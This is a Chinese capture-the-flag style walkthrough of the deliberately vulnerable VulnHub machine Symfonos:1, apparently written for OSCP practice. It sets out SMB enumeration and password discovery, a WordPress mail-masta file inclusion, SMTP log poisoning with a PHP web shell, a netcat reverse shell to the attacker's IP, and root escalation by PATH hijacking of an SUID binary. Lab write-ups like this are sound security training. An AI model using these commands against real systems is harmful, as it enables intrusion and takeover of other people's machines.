OSCP难度靶机之Symfonos:1

虚拟机信息：

虚拟机下载地址：https://www.vulnhub.com/entry/symfonos-1,322/

虚拟机简介：该机器是为准备OSCP而开发的,两个flag：user.txt和proof.txt

目标：1个flag

级别：初级

1、通过arp-scan检测主机IP地址

arp-scan -l

2、通过nmap进行端口扫描

nmap -A -sS -sV -v -p- 192.168.1.9

查看开放22、25、80、139、445端口

3、WEB渗透测试

enum4linux 192.168.1.9

使用smbclient进行连接

smbclient -H //192.168.1.9/anonymous

查看文件得到三个密码，epidioko、qwerty、baseball

smbclient -H //192.168.1.9/helios  -U helios
get research.txt
get todo.txt

查看提示有一个/h3l105

vim /etc/hosts

使用wpscan进行扫描，查看到有两个漏洞的插件

wpscan --url http://symfonos.local/h3l105/ -eap

searchsploit site editor 1.1.1
searchsploit mail masta 1.0

http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

参考：https://www.hackingarticles.in/smtp-log-poisioning-through-lfi-to-remote-code-exceution/

telnet 192.168.1.9 25
MAIL FROM: <test>
RCPT TO: Helios
data
<?php system($_GET['a']);?>
.
quit

http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&a=ip%20a

nc -nlvp 4444

执行反弹shell连接，并获取到反弹shell

http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&a=nc -nv 192.168.1.129 4444 -e /bin/bash

4、系统提权

python -c 'import pty; pty.spawn("/bin/bash")'
sudo -l
find / -perm -u=s 2>/dev/null

type /opt/statuscheck
ls -l /opt
/opt/statuscheck

strings /opt/statuscheck

cd /tmp
echo $'#!/bin/shn/bin/sh' > curl
chmod +x curl
export PATH=$(pwd):$PATH
/opt/statuscheck
whoami

ls /root
cat /root/proof.txt

原文始发于微信公众号（安全孺子牛）：OSCP难度靶机之Symfonos:1